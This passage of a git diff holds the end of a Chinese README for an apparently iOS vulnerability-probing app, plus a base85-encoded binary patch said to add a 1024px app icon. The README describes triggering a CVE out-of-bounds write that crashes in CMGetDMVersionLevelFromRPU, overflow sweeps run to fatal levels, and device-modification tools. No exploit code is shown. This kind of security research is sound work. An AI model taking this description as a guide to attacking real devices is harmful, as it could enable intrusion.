停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV——CVE-2026-112688 的结构体外写在模拟器构建上真实命中。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 + +## 模块语义 + +- **tier 1** — 直接原语命中(OOB 写 / UAF / 类型混淆),崩溃即证据 +- **tier 2** — 可观测信号(信息泄露指纹、返回码分布、超时窗口),需要比对基线 +- **probe / baseline / tool** — 环境探针、内核基线采样、设备修改工具(hex 编辑、xattr / decmpfs 手术、MachO 分析、容器 / 备份 / IPA 签名 / 路径 / zip) + +app 内中英双语运行时切换(`RuntimeText`,633 键全映射,无硬编码 CJK 残留)。 diff --git a/Resources/AppIcon-1024.png b/Resources/AppIcon-1024.png new file mode 100644 index 0000000000000000000000000000000000000000..6344807a45663b9b1bb85c35a662972eadebce76 GIT binary patch literal 103016 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 